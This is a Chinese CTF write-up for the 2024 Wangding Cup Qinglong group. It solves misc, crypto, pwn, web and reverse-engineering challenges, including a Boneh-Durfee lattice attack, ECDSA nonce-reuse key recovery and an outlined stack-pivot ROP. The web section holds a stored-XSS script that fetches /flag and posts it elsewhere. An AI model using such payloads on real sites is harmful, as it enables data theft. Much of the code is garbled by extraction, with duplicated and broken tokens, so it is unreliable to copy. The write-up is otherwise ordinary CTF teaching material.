2024网鼎杯青龙组WriteUP

admin 2024年10月30日10:06:432024网鼎杯青龙组WriteUP已关闭评论149 views字数 18447阅读61分29秒阅读模式
刚刚参与了2024年网鼎杯青龙组,我们体验了一场紧张而充满挑战的竞技之旅。现在,让我们共同回顾一下竞赛中那些引人入胜的题目和巧妙的解题方法吧!在今天的讨论中,我们将剖析部分题目及其解答方法!

MISC
Misc1
翻看了很久,感觉都没思路,然后就准备对diameter协议入手 发现是 有对用户进行认证的

2024网鼎杯青龙组WriteUP

2024网鼎杯青龙组WriteUP

发现是 有对用户进行认证的

https://www.cnblogs.com/stevensfollower/p/5556443.html https://dstest.info/DiaDict/Dictionary/ E-UTRAN-Cell-Global-Identity.html

通过这边文章学习 了解到MME 包含用户的 E-UTRAN 小区全局标识,用于标识用户设备注册的小区

2024网鼎杯青龙组WriteUP

然后转换MD5

MISC3
2024网鼎杯青龙组WriteUP

基本都是 http流量!

2024网鼎杯青龙组WriteUP

完事了!

源IP就是flag

wdflag{39.168.5.60}

Misc4
网上有现成的脚本

from PIL import Image from PIL import Imagefrom tqdm import tqdm from tqdm import tqdmddef peano(n): ef peano(n):iif n == 0: f n == 0:return [[0,0]] return [[0,0]]else: else:in_lst = peano(n - 1) in_lst = peano(n - 1)lst = in_lst.copy() lst = in_lst.copy()pX,py = lst[-1] px,py = lst[-1]1st.extend([px - i[0],py +1+ i[1]] for i in in_1st) lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)pX,py = lst[-1] px,py = lst[-1]lst.extend([px+ i[0],py +1+ i[1]] for i in in_lst) lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)pX,py = lst[-1] px,py = lst[-1]1st.extend([px+1+i[0],py - i[1]] for i in in_lst) lst.extend([px + 1 + i[0], py - i[1]] for i in in_lst)pX,py = lst[-1] px,py = lst[-1]1st.extend([px - i[0],py - 1- i[1]] for i in in_1st) lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)pX,py = 1st[-1] px,py = lst[-1]1st.extend([px+ i[0],py - 1- i[1]] for i in in_1st) lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)pX,py = lst[-1] px,py = lst[-1]lst.extend([px+1+ i[0],py + i[1]] for i in in_lst) lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)pX,py = lst[-1] px,py = lst[-1]1st.extend([px - i[0],py +1+ i[1]] for i in in_lst) lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)pX,py = lst[-1] px,py = lst[-1]lst.extend([px + i[0],py +1+ i[1]] for i in in_lst) lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)return lst return lstoorder = peano(6) rder = peano(6)img = Image.open(r"C:/Users/32259/Desktop/1.png") img = Image.open(r"C:/Users/32259/Desktop/1.png")width, height = img.size width, height = img.sizebblock_width = width #//3 lock_width = width # // 3bblock_height = height #//3 lock_height = height # // 3nnew_image = Image.new("RGB",(width, height)) ew_image = Image.new("RGB", (width, height))ffor i,(x,y)in tqdm(enumerate(order)): or i, (x, y) in tqdm(enumerate(order)):# 根据列表顺序获取新的坐标 # 根据列表顺序获取新的坐标new_x, new_y = iwidth,i// width new_x, new_y = i % width, i // width# 获取原图像素 # 获取原图像素pixel = img.getpixel((x, height - 1- y)) pixel = img.getpixel((x, height - 1 - y))# 在新图像中放置像素 # 在新图像中放置像素new_image.putpixel((new_x, new_y),pixel) new_image.putpixel((new_x, new_y), pixel)new_image.save("2.jpg")
直接可以解密图片! 接可以解密图片!

2024网鼎杯青龙组WriteUP

扫码即可拿到 flag! 码即可拿到 flag!

wdflag{b9367dd6-2d7e-4ef7-ba5c-270a6c6220cd} wdflag

CRYPTO

CRYPTO1
题目:

from Crypto.Util.number import *from secret import flagp = getPrime(512)q = getPrime(512)n = p * qd = getPrime(299)e = inverse(d,(p-1)*(q-1)) m = bytes_to_long(flag)c = pow(m,e,n)hint1 = p >> (512-70)hint2 = q >> (512-70) print(f"n = {n}") print(f"e = {e}") print(f"c = {c}") print(f"hint1 = {hint1}") print(f"hint2 = {hint2}") N =7792098962384989974454443847666968593914582877890176002163674522450954902829115 e =5096982200252668312258612035452080838344518429268921968752543831142461319452810c =6361192788712126742728630282837560993786643244027339533952027818651473964844491hint1 = 957783660751837238209hint2 = 630769766138604564173d = 273486983514656372272363196330726240341974949282739408022261883311235239297

高位攻击

importtimetime.clock=time.timedebug=Truestrict=Falsehelpful_only=Truedimension_min=7  defhelpful_vectors(BB, modulus):  nothelpful=0  foriiinrange(BB.dimensions()[0]):      ifBB[ii, ii] >=modulus:          nothelpful+=1      print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")20defmatrix_overview(BB, bound):  foriiinrange(BB.dimensions()[0]):      a= ('%02d '%ii)      forjjinrange(BB.dimensions()[1]):               a+='0'ifBB[ii, jj] ==0else'X'               ifBB.dimensions()[0] <60:               a+=' '       ifBB[ii, ii] >=bound:           a+='~'defremove_unhelpful(BB, monomials, bound, current):   ifcurrent==-1orBB.dimensions()[0] <=dimension_min:       returnBB   foriiinrange(current, -1, -1):       ifBB[ii, ii] >=bound:           affected_vectors=0           affected_vector_index=0           forjjinrange(ii+1, BB.dimensions()[0]):               ifBB[jj, ii] !=0:                   affected_vectors+=1                   affected_vector_index=jj                    ifaffected_vectors==0:               BB=BB.delete_columns([ii])               BB=BB.delete_rows([ii])               monomials.pop(ii)               BB=remove_unhelpful(BB, monomials, bound, ii-1)               returnBB           elifaffected_vectors==1:               affected_deeper=True               forkkinrange(affected_vector_index+1, BB.dimensions()[0])65                                     ifBB[kk, affected_vector_index] !=0:                       affected_deeper=False               ifaffected_deeperandabs(bound-BB[affected_vector_index, a 70                       bound-BB[ii, ii]):                  BB=BB.delete_columns([affected_vector_index, ii])                   BB=BB.delete_rows([affected_vector_index, ii])                   monomials.pop(affected_vector_index)                   monomials.pop(ii)                   BB=remove_unhelpful(BB, monomials, bound, ii-1)                   returnBB   returnBBdefboneh_durfee(pol, modulus, mm, tt, XX, YY):   PR.<u, x, y>=PolynomialRing(ZZ)     Q=PR.quotient(x*y+1-u)     polZ=Q(pol).lift()   UU=XX*YY+1   gg= []   forkkinrange(mm+1):       foriiinrange(mm-kk+1):           xshift=x^ii*modulus^ (mm-kk) *polZ(u, x, y) ^kk           gg.append(xshift)   gg.sort()   monomials= []   forpolynomialingg:       formonomialinpolynomial.monomials():                        monomials.append(monomial)   monomials.sort()   forjjinrange(1, tt+1):       forkkinrange(floor(mm/tt) *jj, mm+1):           yshift=y^jj*polZ(u, x, y) ^kk*modulus^ (mm-kk)           yshift=Q(yshift).lift()           gg.append(yshift)    forjjinrange(1, tt+1):       forkkinrange(floor(mm/tt) *jj, mm+1):           monomials.append(u^kk*y^jj)   nn=len(monomials)   BB=Matrix(ZZ, nn)   foriiinrange(nn):       BB[ii, 0] =gg[ii](0, 0, 0)       forjjinrange(1, ii+1):       ifmonomials[jj] ingg[ii].monomials():               BB[ii, jj] =gg[ii].monomial_coefficient(monomials[jj]) *mono 130   ifhelpful_only:       BB=remove_unhelpful(BB, monomials, modulus^mm, nn-1)       nn=BB.dimensions()[0]       ifnn==0:           print("failure")           return0, 0   ifdebug:       helpful_vectors(BB, modulus^mm)   det=BB.det()   bound=modulus^ (mm*nn)   ifdet>=bound:       print("We do not have det < bound. Solutions might not be found.")       print("Try with highers m and t.")       ifdebug:          diff= (log(det) -log(bound)) /log(2)           print("size det(L) - size e^(m*n) = ", floor(diff))       ifstrict:           return-1, -1   else:       print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will 158   ifdebug:       matrix_overview(BB, modulus^mm)   ifdebug:       print("optimizing basis of the lattice via LLL, this can take a long t 166   BB=BB.LLL()   ifdebug:       print("LLL is done!")   ifdebug:       print("在格中寻找线性向量")   found_polynomials=False   forpol1_idxinrange(nn-1):       forpol2_idxinrange(pol1_idx+1, nn):           PR.<w,z>=PolynomialRing(ZZ)           pol1=pol2=0           forjjinrange(nn):               pol1+=monomials[jj](w*z+1, w, z) *BB[pol1_idx, jj] /mo 185               pol2+=monomials[jj](w*z+1, w, z) *BB[pol2_idx, jj] /mo 186           PR.<q>=PolynomialRing(ZZ)           rr=pol1.resultant(pol2)           ifrr.is_zero() orrr.monomials() == [1]:               continue           else:               print("found them, using vectors", pol1_idx, "and", pol2_idx)               found_polynomials=True break       iffound_polynomials:           break   ifnotfound_polynomials:       print("no independant vectors could be found. This should very rarely 202       return0, 0   rr=rr(q, q)  soly=rr.roots()   iflen(soly) ==0:       print("Your prediction (delta) is too small")       return0, 0   soly=soly[0][0]   ss=pol1(q, soly)   solx=ss.roots()[0][0]   returnsolx, solydefexample():   start=time.clock()   size=512   length_N=2*size   ss=0   s=70   M=1     delta=299/1024   foriinrange(M):       N= 779209896238498997445444384766696859391458287789017600216367452245095490282911 231                 e=509698220025266831225861203545208083834451842926892196875254383114246131945281 232                 c=           636119278871212674272863028283756099378664324402733953395202781865147396484449 233       hint1=957783660751837238209       hint2=630769766138604564173       m=7         t=round(((1-2*delta) *m))         Y=floor(N^ (1/2) /2^s)        forlinrange(int(hint1), int(hint1) +1):        print('\n\n\n l=', l)           pM=l           p0=pM*2^ (size-s) +2^ (size-s) -1           q0=N/p0           qM=int(q0/2^ (size-s))           A=N+1-pM*2^ (size-s) -qM*2^ (size-s)247               P.<x,y>=PolynomialRing(ZZ)           pol=1+x* (A+y)            ifdebug:               start_time=time.time()          solx, soly=boneh_durfee(pol, e, m, t, X, Y)           ifsolx>0:               ifFalse:                   print("x:", solx)                   print("y:", soly)               d_sol=int(pol(solx, soly) /e)               ss=ss+1               print("=== solution found ===")               print("p的为", l)               print("q的为", qM)               print("d=", d_sol)           ifdebug:               print("=== %s seconds ==="% (time.time() -start_time))274          print("ss=", ss)       end=time.clock()       print('Running time: %s Seconds'% (end-start))if__name__=="__main__":   example()            
CRYPTO2
加密步骤如下:

第⼀层维吉尼亚加密,输入flag,密钥:WANGDINGCUP,过程: 对每个字母按照密钥进⾏ 移位加密,输出: 维吉尼亚密文

第⼆层:AES-CBC加密,输入:维吉尼亚密文

密钥: SHA256(ECDSA私钥dA),模式: CBC模式(带IV) ,过程: 对维吉尼亚密文进⾏填充和AES加密,输出:  IV + AES密文,ECDSA签名(⽤于⽣   成AES密钥) ,⽣成私钥dA,使⽤相同的k值对两个消息进⾏签名,输出签名参数: r1, s1, r2, s2, z1,z2,最终输出: AES加密后的⼗六进制字符串,ECDSA签名参数

即可:

from  hashlib  import  sha256from Crypto.Cipher import AES import gmpy2 import binascii from Crypto.Util.number import long_to_bytes def solve_ecdsa():         n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141         r = 76712729228617953759327460769502934288442352683563219334681162937413283         s1 = 6114271652253693100093388425827597445167297679952664822641724707629764         s2 = 1103253128446689936954875721802620933594303110986793774354322969480299         z1 = 9884214970874484542626550889454173168013708661892153544769350943326927         z2 = 7813616825863473652412034578910420832795199063498107245622262475795853 13         # 从两个签名恢复私钥 ,这⾥是最重要的⼀步         s1_inv = gmpy2.invert(s1, n)         s2_inv = gmpy2.invert(s2, n)          dA = ((z1 * s2 - z2 * s1) * gmpy2.invert(r * (s1 - s2), n)) % n         return int(dA) def decrypt_victory(ciphertext, key):         key = key.upper()         key_length = len(key)          plaintext = '' 22         for i, char in enumerate(ciphertext):                 if char.isalpha():                         is_upper = char.isupper()                         char = char.upper()                         shift = ord(key[i % key_length]) - ord( 'A')                         decrypted_char = chr((ord(char) - ord( 'A') - shift + 26) % 26 + ord                        if not is_upper:                                decrypted_char = decrypted_char.lower()                         plaintext += decrypted_char                 else:                         plaintext += char          return plaintext def main():         # 1. ⾸先恢复  ECDSA 私钥         dA = solve_ecdsa()         print(f"[+] Recovered private key: {dA}") 39         # 2. 使⽤私钥⽣成  AES 密钥         key = sha256(long_to_bytes(dA)).digest()         # 3. 解密  AES         data = binascii.unhexlify("12d5174f2548c179287c7a2ce98a60b20a2dea24611a10d05a8dda9e7bda5f00e260e0c75e62e         iv = data[:16]         enflag = data[16:]  cipher = AES.new(key, AES.MODE_CBC, iv)         flag = cipher.decrypt(enflag) 51         # 移除填充         last_byte = flag[-1]         if last_byte < AES.block_size:                 flag = flag[:-last_byte]         try:                 flag = flag.decode()         except:                 flag = flag.decode( 'utf-8', errors= 'ignore')         print(f"[+] After AES decryption: {flag}") 60         # 4. 解密维吉尼亚         flag = decrypt_victory(flag, "WANGDINGCUP")         print(f"[+] Flag: {flag}") if __name__ == "__main__":         main() #最后把输出的转换成⼩写即可
PWN

PWN02
32位程序

2024网鼎杯青龙组WriteUP

2024网鼎杯青龙组WriteUP

2024网鼎杯青龙组WriteUP

2024网鼎杯青龙组WriteUP

检查登录是不是admin和密码admin123.如果是才能够接着执行到vuln,这里输出了bu的的地址,看到只溢出8个字节,明显是不够的。所以这里使用过栈迁移,0x58正好可以覆盖ebp返回地址和leave。因为有system和bin/sh,所以直接在buf中填充rop链就可以了

2024网鼎杯青龙组WriteUP

WEB

WEB
```js<script>fetch('/flag').then(response              =>               response.text()).then(data              =>{      fetch('/content/68a58f4d322e7ce51a55c03ec8651839',{headers:{'Content-Type' :'application/x-www-form-urlencoded'}, body:"content=123"%2bdata }) }) </script>

2024网鼎杯青龙组WriteUP

脚本如下!Xss的fetch,使用fetchAPI从服务器获取数据,然后将这些数据通过POST请求发送到包含hash的路径。

2024网鼎杯青龙组WriteUP

把payload写入文本框内,然后我们抓包,抓取更新包!

然后点击提交即可!

记得刷新!!!

2024网鼎杯青龙组WriteUP

RESERVE
REVERSE01

 

是⼀个apk文件⽤jadx打开

2024网鼎杯青龙组WriteUP

找到⼀个这个但没发现什么有⽤的信息,想着这⼀块提取出来看看,先⽤APKIDE打开看看

2024网鼎杯青龙组WriteUP

会发现主要在这⼀块,⽤ida打开这⾥

2024网鼎杯青龙组WriteUP

在这⾥发现⼏个so文件,⽽且在其中⼀个发现了类似于SM4算法与标准的有⼀点不⼀样,解密的话找到密文与key

2024网鼎杯青龙组WriteUP

2024网鼎杯青龙组WriteUP

密文

2024网鼎杯青龙组WriteUP

2024网鼎杯青龙组WriteUP

之后直接解密即可,注意key的后半部分是反过来的

2024网鼎杯青龙组WriteUP

RESERVE02
查壳

2024网鼎杯青龙组WriteUP

无壳,直接⽤ida打开,F5找到主函数

int    fastcall main(int argc, const char **argv, const char **envp) {     char v4[16]; // [rsp+0h] [rbp-240h] BYREF     char v5[48]; // [rsp+10h] [rbp-230h] BYREF   5     char v6[256]; // [rsp+40h] [rbp-200h] BYREF  6     char v7[16]; // [rsp+140h] [rbp-100h] BYREF  7          int64 v8[2]; // [rsp+150h] [rbp-F0h] BYREF 8          int64 v9[2]; // [rsp+160h] [rbp-E0h] BYREF 9     char v10[16]; // [rsp+170h] [rbp-D0h] BYREF  10     char v11[16]; // [rsp+180h] [rbp-C0h] BYREF  11     char v12[16]; // [rsp+190h] [rbp-B0h] BYREF  12     char s2[16]; // [rsp+1A0h] [rbp-A0h] BYREF   13     char s1[16]; // [rsp+1B0h] [rbp-90h] BYREF   14     char dest[16]; // [rsp+1C0h] [rbp-80h] BYREF 15          int64 v16; // [rsp+1D0h] [rbp-70h] BYREF   16     _BYTE v17[24]; // [rsp+1D8h] [rbp-68h] BYREF 17     char s[7]; // [rsp+1F0h] [rbp-50h] BYREF     _BYTE v19[41]; // [rsp+1F7h] [rbp-49h] BYREF 19     char *v20; // [rsp+220h] [rbp-20h]     const char *v21; // [rsp+228h] [rbp-18h]     int k; // [rsp+234h] [rbp-Ch]     int j; // [rsp+238h] [rbp-8h]     int i; // [rsp+23Ch] [rbp-4h] 24     printf("Enter the flag:");     if ( fgets(s, 41, stdin) )         s[strcspn(s, "\n")] = 0;      if ( strlen(s) != 40 || strncmp(s, "wdflag{", 7uLL) || v19[32] != 125 )          return 1;      memcpy(dest, v19, 0x20uLL);      v17[8] = 0;      s2[0] = 114;      s2[1] = -54;      s2[2] = 112;      s2[3] = 106;      s2[4] = 106;      s2[5] = -60;      s2[6] = -62;      s2[7] = -54;      for ( i = 0; i <= 7; ++i )         s1[i] = 2 * dest[i];     if ( memcmp(s1, s2, 8uLL) )         return 1;     v21 = "XorrLord";     qmemcpy(v11, "`\tK", 3);     v11[3] = 19;     v11[4] = 45;     v11[5] = 14;     v11[6] = 20;   v11[7] = 1;      for ( j = 8; j <= 15; ++j )         v12[j - 8] = dest[j] ^ v21[j - 8];     if ( memcmp(v12, v11, 8uLL) )          return 1;     base64_encode((__int64)&v16, 8uLL, (__int64)v10);     v20 = "QYGyBYKyA2K";     if ( strcmp(v10, "QYGyBYKyA2K") )          return 1;     qmemcpy(v9, "AesMasterAesMast", sizeof(v9));     v8[0] = 0LL;     v8[1] = 0LL;     memcpy(v8, v17, 8uLL);      for ( k = 8; k <= 15; ++k ) 64         *((_BYTE *)v8 + k) = 8;     AES_set_encrypt_key((__int64)v9, 128LL, (__int64)v6);     AES_encrypt((__int64)v8, (__int64)v7, (__int64)v6);     hex_to_string((__int64)v7, 0x10uLL, (__int64)v5);     v4[0] = -67;     v4[1] = -11;     v4[2] = 89;     v4[3] = -122;     v4[4] = 57;     v4[5] = 68;     v4[6] = 52;     v4[7] = 96;     v4[8] = -120;     v4[9] = -15;     v4[10] = 109;     v4[11] = -60;     v4[12] = 25;     v4[13] = -33;     v4[14] = -125;     v4[15] = 6;     if ( memcmp(v7, v4, 0x10uLL) )          return 1;     puts("Correct Flag!");     return 0; 88 }

代码审计可得:主要把flag加密了4次

第⼀:乘以2,第⼆:异或,第三:base64换表加密,第四AES加密

2024网鼎杯青龙组WriteUP

2024网鼎杯青龙组WriteUP

2024网鼎杯青龙组WriteUP

2024网鼎杯青龙组WriteUP

2024网鼎杯青龙组WriteUP

解密只要从后往前加密即可

from Crypto.Cipher import AES def solve_part1(s2):         # 处理负数 ,转换为无符号字节 ,不处理会导致数据出问题          s1 = [(x + 256 if x < 0 else x) for x in s2]         dest = []         for i in range(8):                 dest.append(s1[i] // 2)          return dest def solve_part2(v11):         v21 = b"XorrLord"         dest = []         for i in range(8):                 dest.append(v11[i] ^ v21[i])          return dest def solve_part3(base64_str): 16         # ⾃定义  base64 解码         base64_table ="CDEFGHIJKLMNOPQRSTUVWXYZABabcdefghijklmnopqrstuvwxyz0123456789+/"         # 将输入转换为⼆进制          bits = ''         for c in base64_str:                 val = base64_table.index(c)                 bits += format(val, '06b') 23         # 每8位转换为⼀个字节         result = []         for i in range(0, len(bits), 8):                 if i + 8 <= len(bits):                         byte = int(bits[i:i + 8], 2)                         result.append(byte)          return result 30 def solve_part4(v4): 32         # 处理负数         v4_bytes = bytes([(x + 256 if x < 0 else x) for x in v4])         key = b"AesMasterAesMast"         cipher = AES.new(key, AES.MODE_ECB)         decrypted = cipher.decrypt(v4_bytes)         return list(decrypted) def main():  39         # 已知条件          s2 = [114, -54, 112, 106, 106, -60, -62, -54]         v11 = [0x60, 0x09, 0x4B, 19, 45, 14, 20, 1]         base64_str = "QYGyBYKyA2K"         v4 = [-67, -11, 89, -122, 57, 68, 52, 96, -120, -15, 109, -60, 25, -33, -125, 6] # 解第—部分         part1 = solve_part1(s2)         # 解第⼆部分         part2 = solve_part2(v11) 49         # 解第三部分         part3 = solve_part3(base64_str) 51         # 解第四部分         part4 = solve_part4(v4) 53         # 组合flag         flag = bytearray(40)         flag[0:7] = b"wdflag{"         flag[7:15] = bytes(part1)         flag[15:23] = bytes(part2)         flag[23:31] = bytes(part3)                  flag[31:39] = bytes(part4[:8])         flag[39] = ord( '}') 61         print("Flag:", flag.decode(errors= 'ignore')) 63 if __name__ == "__main__":         main()
今天,我们主要揭晓部分的练习题目。其他组的题目也将在后续几天逐步公布,请大家继续保持关注!

更多资源,敬请关注ZeroPointZero安全团队

END

注:ZeroPointZero安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月30日10:06:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024网鼎杯青龙组WriteUPhttps://cn-sec.com/archives/3332127.html